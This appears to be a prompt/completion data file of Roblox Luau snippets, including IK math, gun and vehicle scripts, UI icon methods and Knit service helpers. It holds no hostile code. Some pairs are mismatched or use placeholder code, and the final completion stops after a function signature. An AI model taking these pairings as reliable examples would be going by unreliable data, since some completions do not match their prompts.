prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
|
local function solveLegIK(o,t,l0,l1) -- Does the major math
-- Make the position local relative to the origin
local l = o:pointToObjectSpace(t) -- World space to local space
local lu = l.Unit -- Get normalized unit for future math
local m = l.Magnitude -- Get the length from the position to the target
-- Make a CFrame pointing from the shoulder position directing to the second position
local x = forwardV3:Cross(-lu) -- Cross the forward vector with the negative of the normalized unit
local g = math.acos(-lu.Z) -- Get the arc-cosine of the negative normalized unit
local p = o*fromAxisAngle(x,g):inverse() -- Get the IK plane
-- In a right-triangle, we have the hypotenuse and the two shorter legs.
-- In a right triangle, the hypotenuse is side "c," and the legs are a and b.
-- This information will be helpful later on.
if m < math.max(l1,l0)-math.min(l1,l0) then
-- If c is between the lengths of a and b then return an offsetted plane so that one of the lengths reaches the goal,
-- but the other length is folded so it looks natural
-- This cacluation is done when a position comes before the end of the leg, and may look a bit... odd
return p*CF(0,0,math.max(l1,l0)-math.min(l1,l0)-m),-hpi,pi
elseif m > l0+l1 then
-- If c > a + b then return flat angles and an offsetted plane which reaches its target
-- Basically, this make the leg flat if there is nothing to place it on
return p,hpi,0
else
-- Otherwise, use the law of cosines
-- This is going to be all cases where the leg actually bends
local a1 = -math.acos((-(l1*l1)+(l0*l0)+(m*m))/(2*l0*m))
local a2 = math.acos(((l1*l1)-(l0*l0)+(m*m))/(2*l1*m))
return p,hpi-a1,-(a2-a1)
end
end
|
--[=[
Information on type use.
]=]
|
type a = any
local Service = game:GetService(...)
local RequiredModule = require(...)
|
--------| Setting |--------
|
local blacklistedAssets = {} --- Blacklisted asset folders to ignore
|
--// Connections
|
L_72_.OnClientEvent:connect(function(L_134_arg1, L_135_arg2, L_136_arg3, L_137_arg4, L_138_arg5, L_139_arg6, L_140_arg7)
if L_134_arg1 and not L_14_ then
MakeFakeArms()
L_23_ = L_18_:WaitForChild('MainGui'):clone()
L_23_.Parent = L_2_.PlayerGui
L_24_ = L_135_arg2
L_25_ = L_136_arg3
L_26_ = L_137_arg4
L_27_ = L_138_arg5
L_28_ = L_139_arg6
L_29_ = L_140_arg7
L_30_ = L_39_.Bolt
L_54_ = L_29_.C1
L_55_ = L_29_.C0
if L_1_:FindFirstChild('AimPart2') then
L_35_ = L_1_:WaitForChild('AimPart2')
end
if L_21_.FirstPersonOnly then
L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
end
--uis.MouseIconEnabled = false
L_5_.FieldOfView = 70
L_14_ = true
elseif L_14_ then
if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
Stand()
end
L_41_ = false
L_44_ = false
L_43_ = false
Shooting = false
L_64_ = 70
RemoveArmModel()
L_23_:Destroy()
if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
L_3_['Right Arm'].LocalTransparencyModifier = 0
L_3_['Left Arm'].LocalTransparencyModifier = 0
end
L_2_.CameraMode = Enum.CameraMode.Classic
L_71_.MouseIconEnabled = true
L_5_.FieldOfView = 70
L_14_ = false
L_71_.MouseDeltaSensitivity = L_33_
L_4_.Icon = "http://www.roblox.com/asset?id=0"
end
end)
|
--//Setup//--
|
local SongsHolder = game.Workspace.SongsHolder
local CurrentSong = SongsHolder.CurrentSong
local Boombox = SongsHolder.Boombox
|
--Raycasting
|
local ignoreList = {Player.Character or Player.CharacterAdded:Wait()}
local IgnoreLength = 1
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Rev")
if not FE then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
car.DriveSeat.Rev:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on/1.2
end
else
local handler = car.AC6_FE_Sounds
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
local pitch=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on/1.2
handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
end
end
|
--s.Pitch = 0
|
while s.Pitch<1 do
s.Pitch=s.Pitch+0.01315
s:Play()
if s.Pitch>1 then
s.Pitch=1
end
wait(0.001)
end
|
--// bolekinds
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent
script.Parent.MouseButton1Click:Connect(function()
if plr.YouCash.Value >= 1500 and game.ServerStorage.ServerData.Bingus.Value == false then
script.Parent.Parent.Parent.Ching:Play()
plr.YouCash.Value -= 1500
game.ServerStorage.ServerData.Bingus.Value = true
end
end)
|
-- Button --
|
script.Parent.MouseEnter:Connect(function()
local Color = Color3.fromRGB(255, 255, 255)
TweenService:Create(frame, Info, {BackgroundColor3 = Color}):Play()
end)
script.Parent.MouseLeave:Connect(function()
local ColorColor = Color3.fromRGB(42, 42, 42)
TweenService:Create(frame, Info, {BackgroundColor3 = ColorColor}):Play()
end)
|
--// Extras
|
WalkAnimEnabled = true;
SwayEnabled = true;
|
--[[
[Horizontal and Vertical limits for head and body tracking.]
[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]]
|
local HeadHorFactor = 0.7
local HeadVertFactor = 0.4
local BodyHorFactor = 0.3
local BodyVertFactor = 0.3
|
-- Color shortcuts: you can use these strings instead of defining exact color values
|
richText.ColorShortcuts = {}
richText.ColorShortcuts.White = Color3.new(1, 1, 1)
richText.ColorShortcuts.Black = Color3.new(0, 0, 0)
richText.ColorShortcuts.Red = Color3.new(1, 0.4, 0.4)
richText.ColorShortcuts.Green = Color3.new(0.4, 1, 0.4)
richText.ColorShortcuts.Blue = Color3.new(0.4, 0.4, 1)
richText.ColorShortcuts.Cyan = Color3.new(0.4, 0.85, 1)
richText.ColorShortcuts.Orange = Color3.new(1, 0.5, 0.2)
richText.ColorShortcuts.Yellow = Color3.new(1, 0.9, 0.2)
richText.ColorShortcuts.Pink = Color3.fromRGB(255, 170, 255)
|
-- CORE UTILITY METHODS
|
function Icon:set(settingName, value, iconState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
if type(iconState) == "string" then
iconState = iconState:lower()
end
local previousValue = self:get(settingName, iconState)
if iconState == "hovering" then
-- Apply hovering state if valid
settingDetail.hoveringValue = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..iconState] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
end
self:_update(settingName)
else
-- Update the settings value
local toggleState = iconState
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
self:_update(settingName, currentToggleState, tweenInfo)
end
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, iconState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:setAdditionalValue(settingName, setAdditional, value, iconState)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local stringMatch = setAdditional.."_"
if iconState then
stringMatch = stringMatch..iconState
end
for key, _ in pairs(settingDetail.additionalValues) do
if string.match(key, stringMatch) then
settingDetail.additionalValues[key] = value
end
end
end
function Icon:get(settingName, iconState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local valueToReturn, additionalValueToReturn
if typeof(iconState) == "string" then
iconState = iconState:lower()
end
--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
if (iconState == "hovering") and getAdditional == nil then
valueToReturn = settingDetail.hoveringValue
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
end
local settingType = settingDetail.type
if settingType == "toggleable" then
local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
end
if valueToReturn == nil then
valueToReturn = settingDetail.values[toggleState]
end
else
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
end
if valueToReturn == nil then
valueToReturn = settingDetail.value
end
end
return valueToReturn, additionalValueToReturn
end
function Icon:getHovering(settingName)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
return settingDetail.hoveringValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:getIconState()
if self.hovering then
return "hovering"
else
return self:getToggleState()
end
end
function Icon:_update(settingName, toggleState, customTweenInfo)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if self.hovering and settingDetail.hoveringValue then
value = settingDetail.hoveringValue
end
if value == nil then return end
local tweenInfo = customTweenInfo or (settingDetail.tweenAction and settingDetail.tweenAction ~= "" and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
local newValue = value
if settingDetail.useForcedGroupValue then
newValue = settingDetail.forcedGroupValue
end
if settingDetail.instanceNames then
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table"
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, newValue)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= newValue then
self.updated:Fire()
end
--
end
end
end
function Icon:_updateAll(iconState, customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, iconState, customTweenInfo)
end
end
end
function Icon:_updateHovering(customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
self:_update(settingName, nil, customTweenInfo)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "both")
end
end
for settingName, settingValue in pairs(settingsDetails.selected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "selected")
end
end
else
for settingName, settingValue in pairs(settingsDetails) do
if not self.lockedSettings[settingName] then
local settingDetail = self._settingsDictionary[settingName]
if settingsType == "action" and settingDetail == nil then
settingDetail = {}
self._settingsDictionary[settingName] = {}
end
self:set(settingName, settingValue)
end
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:getInstance(instanceName)
return self.instances[instanceName]
end
function Icon:setInstance(instanceName, instance)
local originalInstance = self.instances[instanceName]
self.instances[instanceName] = instance
if originalInstance then
originalInstance:Destroy()
end
return self
end
function Icon:getSettingDetail(targetSettingName)
for _, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
if settingName == targetSettingName then
return settingDetail
end
end
end
return false
end
function Icon:modifySetting(settingName, dictionary)
local settingDetail = self:getSettingDetail(settingName)
for key, value in pairs(dictionary) do
settingDetail[key] = value
end
return self
end
function Icon:convertLabelToNumberSpinner(numberSpinner)
-- This updates the number spinners appearance
self:set("iconLabelSize", UDim2.new(1,0,1,0))
numberSpinner.Parent = self:getInstance("iconButton")
-- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed
local textLabel = {}
setmetatable(textLabel, {__newindex = function(_, index, value)
for _, label in pairs(numberSpinner.Frame:GetDescendants()) do
if label:IsA("TextLabel") then
label[index] = value
end
end
end})
-- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel)
local iconButton = self:getInstance("iconButton")
iconButton.ZIndex = 0
self:setInstance("iconLabel", textLabel)
self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above
self:setInstance("iconLabelSpinner", numberSpinner.Frame)
local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"}
for _, settingName in pairs(settingsToConvert) do
self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}})
end
-- This applies all the values we just updated
self:_updateAll()
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:setProperty(propertyName, value)
self[propertyName] = value
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
--if self.locked then return self end
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
if userInputService.GamepadEnabled then
-- If a corresponding guiObject is found (set via :setToggleItem()) then this automatically
-- moves the controller selection to a selectable and active instance within that guiObject.
-- It also support back (Controller B) being pressed by navigating to previous pages or
-- closing the icon and focusing selection back on the controller navigation topbar.
for toggleItem, buttonInstancesArray in pairs(self.toggleItems) do
if #buttonInstancesArray > 0 then
local focusMaid = Maid.new()
guiService:AddSelectionTuple(self.UID, unpack(buttonInstancesArray))
guiService.SelectedObject = buttonInstancesArray[1]
IconController.activeButtonBCallbacks += 1
focusMaid:give(userInputService.InputEnded:Connect(function(input, processed)
local blockBackBehaviour = false
for _, func in pairs(self.blockBackBehaviourChecks) do
if func() == true then
blockBackBehaviour = true
break
end
end
if input.KeyCode == Enum.KeyCode.ButtonB and not blockBackBehaviour then
guiService.SelectedObject = self.instances.iconButton
self:deselect()
end
end))
focusMaid:give(self.deselected:Connect(function()
focusMaid:clean()
end))
focusMaid:give(function()
IconController.activeButtonBCallbacks -= 1
if IconController.activeButtonBCallbacks < 0 then
IconController.activeButtonBCallbacks = 0
end
end)
end
end
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:deselect(byIcon)
--if self.locked then return self end
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
if userInputService.GamepadEnabled then
guiService:RemoveSelectionGroup(self.UID)
end
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
-- assume we are in the character, let's check
|
function sepuku()
script.Parent = nil
end
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.6
local torso = script.Parent:FindFirstChild("Torso")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local s = Instance.new("Sparkles")
s.Color = Color3.new(.8, 0, .8)
s.Parent = torso
local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
count = Instance.new("IntValue")
count.Name = "CoffeeCount"
count.Value = 1
count.Parent = h
else
if (count.Value > 3) then
if (math.random() > .5) then
local sound = Instance.new("Sound")
sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
sound.Parent = head
sound.Volume = 1
sound:play()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.Position = head.Position
s:Clone().Parent = head
e.Parent = head
end
end
count.Value = count.Value + 1
end
wait(30)
h.WalkSpeed = oldSpeed
s:Remove()
script.Parent = nil
|
--[[
Returns when the initial snapshot of the game has finished replicating to the client.
Used by the client side entry point script to determine when to hide the loading screen.
--]]
|
local function waitForGameLoadedAsync()
if game:IsLoaded() then
return
end
game.Loaded:Wait()
end
return waitForGameLoadedAsync
|
----------------------------------------------------------------------
--------------------[ BULLET IMPACT HANDLING ]------------------------
----------------------------------------------------------------------
|
local createBulletImpact = script:WaitForChild("createBulletImpact")
createBulletImpact.OnServerEvent:connect(function(_, H, P, N, D, humanoidFound, gunIgnore, S)
local surfaceCF = CF(P, P + N)
----------------------------------------------------------------------------------
--Creating the bullet hole--------------------------------------------------------
----------------------------------------------------------------------------------
if S.bulletHoles and (not humanoidFound) then
local Hole = Instance.new("Part")
Hole.Transparency = 1
Hole.Anchored = true
Hole.CanCollide = false
Hole.FormFactor = "Custom"
Hole.Size = V3(1, 1, 0.2)
Hole.TopSurface = 0
Hole.BottomSurface = 0
local Mesh = Instance.new("BlockMesh")
Mesh.Offset = V3(0, 0, -0.05)
Mesh.Scale = V3(S.holeSettings.Size, S.holeSettings.Size, 0)
Mesh.Parent = Hole
local Decal = Instance.new("Decal")
Decal.Face = Enum.NormalId.Front
Decal.Texture = S.holeSettings.Texture
Decal.Parent = Hole
Hole.Parent = gunIgnore
Hole.CFrame = surfaceCF
if (not H.Anchored) then
local Weld = Instance.new("Weld", Hole)
Weld.Part0 = H
Weld.Part1 = Hole
Weld.C0 = H.CFrame:toObjectSpace(surfaceCF)
Hole.Anchored = false
end
delay(S.holeSettings.visibleTime, function()
if S.holeSettings.disappearTime > 0 then
local t0 = tick()
while true do
local Alpha = math.min((tick() - t0) / S.holeSettings.disappearTime, 1)
Decal.Transparency = numLerp(0, 1, Alpha)
if Alpha == 1 then break end
wait()
end
Hole:Destroy()
else
Hole:Destroy()
end
end)
end
----------------------------------------------------------------------------------
--Creating the spark effect-------------------------------------------------------
----------------------------------------------------------------------------------
if S.bulletSparks and (not humanoidFound) and inList(H.Material, S.sparkSettings.Materials) then
local Sparks = Instance.new("Part")
Sparks.Transparency = 1
Sparks.Anchored = true
Sparks.CanCollide = false
Sparks.FormFactor = "Custom"
Sparks.Size = V3(1, 1, 1)
Sparks.TopSurface = 0
Sparks.BottomSurface = 0
local Particles = Instance.new("ParticleEmitter")
Particles.Color = ColorSequence.new(S.sparkSettings.Color)
Particles.LightEmission = 1
Particles.Size = NumberSequence.new(S.sparkSettings.Size)
Particles.Texture = S.sparkSettings.Texture
Particles.Transparency = NumberSequence.new(
{
NumberSequenceKeypoint.new(0, 0.25, 0.25);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Acceleration = V3(0, -196.2, 0)
Particles.EmissionDirection = Enum.NormalId.Front
Particles.Lifetime = NumberRange.new(S.sparkSettings.Lifetime - 0.05, S.sparkSettings.Lifetime + 0.05)
Particles.Rate = S.sparkSettings.Rate
Particles.RotSpeed = NumberRange.new(360)
Particles.Speed = NumberRange.new(S.sparkSettings.Speed - 5, S.sparkSettings.Speed + 5)
Particles.VelocitySpread = S.sparkSettings.Spread
Particles.Parent = Sparks
Sparks.Parent = gunIgnore
Sparks.CFrame = surfaceCF
if (not H.Anchored) then
local Weld = Instance.new("Weld", Sparks)
Weld.Part0 = H
Weld.Part1 = Sparks
Weld.C0 = H.CFrame:toObjectSpace(surfaceCF)
Sparks.Anchored = false
end
delay(0.1, function()
Particles.Enabled = false
wait(S.sparkSettings.Lifetime + 0.05)
Sparks:Destroy()
end)
end
----------------------------------------------------------------------------------
--Creating the smoke effect-------------------------------------------------------
----------------------------------------------------------------------------------
if S.bulletSmoke and (not humanoidFound) then
local Smoke = Instance.new("Part")
Smoke.Transparency = 1
Smoke.Anchored = true
Smoke.CanCollide = false
Smoke.FormFactor = "Custom"
Smoke.Size = V3(1, 1, 1)
Smoke.TopSurface = 0
Smoke.BottomSurface = 0
local Particles = Instance.new("ParticleEmitter")
Particles.Color = ColorSequence.new(S.smokeSettings.objColor and H.Color or S.smokeSettings.Color)
Particles.LightEmission = 0
Particles.Size = NumberSequence.new(
{
NumberSequenceKeypoint.new(0, S.smokeSettings.Size.Start);
NumberSequenceKeypoint.new(1, S.smokeSettings.Size.End);
}
)
Particles.Texture = S.smokeSettings.Texture
Particles.Transparency = NumberSequence.new(
{
NumberSequenceKeypoint.new(0, S.smokeSettings.startTransparency);
NumberSequenceKeypoint.new(0.5, 0.75 * S.smokeSettings.startTransparency + 0.25);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Acceleration = V3(0, -196.2, 0)
Particles.EmissionDirection = Enum.NormalId.Front
Particles.Lifetime = NumberRange.new(S.smokeSettings.Lifetime - 0.05, S.smokeSettings.Lifetime + 0.05)
Particles.Rate = S.smokeSettings.Rate
Particles.Rotation = NumberRange.new(0, 360)
Particles.RotSpeed = NumberRange.new(10)
Particles.Speed = NumberRange.new(S.smokeSettings.Speed - 5, S.smokeSettings.Speed + 5)
Particles.VelocitySpread = S.smokeSettings.Spread
Particles.Parent = Smoke
Smoke.Parent = gunIgnore
Smoke.CFrame = surfaceCF
if (not H.Anchored) then
local Weld = Instance.new("Weld", Smoke)
Weld.Part0 = H
Weld.Part1 = Smoke
Weld.C0 = H.CFrame:toObjectSpace(surfaceCF)
Smoke.Anchored = false
end
delay(0.1, function()
Particles.Enabled = false
wait(S.smokeSettings.Lifetime + 0.05)
Smoke:Destroy()
end)
end
end)
|
-- Editable Values
|
local ExhaustId = 5937167081
local EngineId = 6002661882
local IdleId = 5226685480
local RedlineId = 5070456793
local ExhaustVol = .0
local ExhaustRollOffMax = 1000
local ExhaustRollOffMin = 10
local ExhaustVolMult = 1.05
local EngineVol = .0
local EngineRollOffMax = 1000
local EngineRollOffMin = 15
local EngineVolMult = 1.25
local IdleVol = 0
local IdleRollOffMax = 1000
local IdleRollOffMin = 5
local IdleRPMScale = 1500
local RedlineVol = .0
local RedlineRollOffMax = 1000
local RedlineRollOffMin = 5
local ExhaustPitch = .3
local EnginePitch = .5
local ExhaustRev = 1
local EngineRev = .8
local ExhaustEqualizer = {0,4,6}
local EngineEqualizer = {0,4,6}
local ExhaustDecelEqualizer = {-25,0,5}
local EngineDecelEqualizer = {-25,0,5}
local ThrottleVolMult = .5
local ThrottlePitchMult = .1
local ExhaustDistortion = .0
local ExhaustRevDistortion = .3
local EngineDistortion = .2
local EngineRevDistortion = .5
local FE=true
|
--[=[
Returns a Service object which is a reflection of the remote objects
within the Client table of the given service. Throws an error if the
service is not found.
If a service's Client table contains RemoteSignals and/or RemoteProperties,
these values are reflected as
[ClientRemoteSignals](https://sleitnick.github.io/RbxUtil/api/ClientRemoteSignal) and
[ClientRemoteProperties](https://sleitnick.github.io/RbxUtil/api/ClientRemoteProperty).
```lua
-- Server-side service creation:
local MyService = Knit.CreateService {
Name = "MyService",
Client = {
MySignal = Knit.CreateSignal(),
MyProperty = Knit.CreateProperty("Hello"),
},
}
function MyService:AddOne(player, number)
return number + 1
end
-------------------------------------------------
-- Client-side service reflection:
local MyService = Knit.GetService("MyService")
-- Call a method:
local num = MyService:AddOne(5) --> 6
-- Fire a signal to the server:
MyService.MySignal:Fire("Hello")
-- Listen for signals from the server:
MyService.MySignal:Connect(function(message)
print(message)
end)
-- Observe the initial value and changes to properties:
MyService.MyProperty:Observe(function(value)
print(value)
end)
```
:::caution
Services are only exposed to the client if the service has remote-based
content in the Client table. If not, the service will not be visible
to the client. `KnitClient.GetService` will only work on services that
expose remote-based content on their Client tables.
:::
]=]
|
function KnitClient.GetService(serviceName: string): Service
local service = services[serviceName]
if service then
return service
end
assert(started, "Cannot call GetService until Knit has been started")
assert(type(serviceName) == "string", `ServiceName must be a string; got {type(serviceName)}`)
return BuildService(serviceName)
end
|
-- This has to be done so that camera occlusion ignores the vehcile.
|
local function updateCameraSubject()
local humanoid = getLocalHumanoid()
if humanoid and humanoid.SeatPart then
--Workspace.CurrentCamera.CameraSubject = humanoid.SeatPart
end
end
updateCameraSubject()
ProximityPromptService.Enabled = false
|
--[=[
Requires all the modules that are descendants of the given parent.
]=]
|
function KnitServer.AddServicesDeep(parent: Instance): { Service }
local addedServices = {}
for _, v in parent:GetDescendants() do
if not v:IsA("ModuleScript") then
continue
end
table.insert(addedServices, require(v))
end
return addedServices
end
|
--Miscellaneous Settings:
|
HANDBRAKE_ANG = 15 --Angle of handbrake when active in degrees
PADDLE_ANG = 15 --Angle of paddle shifter
PADDLE_INVERTED = false --Sets right paddle to shift down and vice versa
PEDAL_ANGLE = 15 --Angle of pedals when active in degrees
PED_INVERTED = false --Inverts the pedal angle (for top mounted pedals)
SHIFTER_TYPE = "H" --"H" for H-Pattern, "Seq" for sequential shifter
SEQ_INVERTED = false --Inverts the sequential shifter motion
SHIFT_TIME = 0.25 --Time it takes to shift between all parts (Clutch pedal, Paddle shifter, Shifter
VERTICAL_ANG = 8.5 --Vertical shifter movement angle in degrees
HORIZONTAL_ANG = 10.0 --Horizontal shifter increments in degrees (H-Pattern only)
STEER_MULT = 5.0 --Steering multiplier angle (Arbitrary)
STEER_VERS = "New" --"Old" Not accurate to the wheels, "New" Accurate but laggy.
|
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
-- Event Handlers
|
function OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
